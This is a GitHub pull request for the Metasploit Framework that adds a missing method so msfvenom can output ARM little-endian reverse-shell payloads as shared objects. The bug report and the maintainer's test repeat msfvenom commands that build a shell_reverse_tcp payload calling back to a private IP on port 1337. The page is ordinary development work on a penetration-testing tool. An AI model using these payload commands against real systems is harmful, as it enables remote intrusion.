New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

undefined method `to_linux_armle_elf_dll' for Msf::Util::EXE:Class #11350

Merged
merged 1 commit into from Feb 3, 2019

Conversation

Projects
None yet
2 participants
@BoLaMN
Copy link
Contributor

BoLaMN commented Feb 3, 2019

Current

msfvenom -p linux/armle/shell_reverse_tcp lport=1337 lhost=192.168.1.100 -f elf-so > shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 172 bytes
Error: undefined method `to_linux_armle_elf_dll' for Msf::Util::EXE:Class
Did you mean?  to_linux_armle_elf
               to_linux_x64_elf_dll
               to_linux_x86_elf_dll

Fixed

msfvenom -p linux/armle/shell_reverse_tcp lport=1337 lhost=192.168.1.100 -f elf-so > shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 172 bytes
Final size of elf-so file: 418 bytes

file shell.so
shell.so: ELF 32-bit LSB shared object ARM, version 1 (SYSV), dynamically linked, stripped
undefined method `to_linux_armle_elf_dll' for Msf::Util::EXE:Class
```
msfvenom -p linux/armle/shell_reverse_tcp lport=1337 lhost=192.168.1.100 -f elf-so > shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 172 bytes
Error: undefined method `to_linux_armle_elf_dll' for Msf::Util::EXE:Class
Did you mean?  to_linux_armle_elf
               to_linux_x64_elf_dll
               to_linux_x86_elf_dll```

@bcoles bcoles added the library label Feb 3, 2019

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 3, 2019

Seems legit

root@kali:/pentest/exploit/metasploit-framework# ./msfvenom -p linux/armle/shell_reverse_tcp lport=1337 lhost=172.16.191.188 -f elf-so > shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 172 bytes
Error: undefined method `to_linux_armle_elf_dll' for Msf::Util::EXE:Class
Did you mean?  to_linux_armle_elf
               to_linux_mipsle_elf
               to_linux_x64_elf_dll
               to_linux_x86_elf_dll
root@kali:/pentest/exploit/metasploit-framework# vi lib/msf/util/exe.rb
root@kali:/pentest/exploit/metasploit-framework# git diff lib/msf/util/exe.rb
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index dd0c3d8..a0a05ff 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -1136,6 +1136,17 @@ require 'msf/core/exe/segment_appender'
     to_exe_elf(framework, opts, "template_armle_linux.bin", code)
   end
 
+  # self.to_linux_armle_elf_dll
+  #
+  # @param framework [Msf::Framework]
+  # @param code       [String]
+  # @param opts       [Hash]
+  # @option           [String] :template
+  # @return           [String] Returns an elf-so
+  def self.to_linux_armle_elf_dll(framework, code, opts = {})
+    to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
+  end
+
   # self.to_linux_aarch64_elf
   #
   # @param framework [Msf::Framework]
root@kali:/pentest/exploit/metasploit-framework# ./msfvenom -p linux/armle/shell_reverse_tcp lport=1337 lhost=172.16.191.188 -f elf-so > shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 172 bytes
Final size of elf-so file: 418 bytes

root@kali:/pentest/exploit/metasploit-framework# file shell.so 
shell.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
root@kali:/pentest/exploit/metasploit-framework# 

@bcoles bcoles self-assigned this Feb 3, 2019

@bcoles bcoles merged commit 2d7c075 into rapid7:master Feb 3, 2019

2 of 3 checks passed

Metasploit Automation - Sanity Test Execution Failed to pass tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

bcoles added a commit that referenced this pull request Feb 3, 2019

Land #11350, Add missing `to_linux_armle_elf_dll` method to Msf::Util…
…::EXE

Allow generation of ARMLE shared object payloads

@bcoles bcoles self-requested a review Feb 3, 2019

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 3, 2019

Release Notes

Add missing to_linux_armle_elf_dll method to Msf::Util::EXE, allowing generation of ARMLE shared object payloads.

msjenkins-r7 added a commit that referenced this pull request Feb 3, 2019

Land #11350, Add missing `to_linux_armle_elf_dll` method to Msf::Util…
…::EXE

Allow generation of ARMLE shared object payloads
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment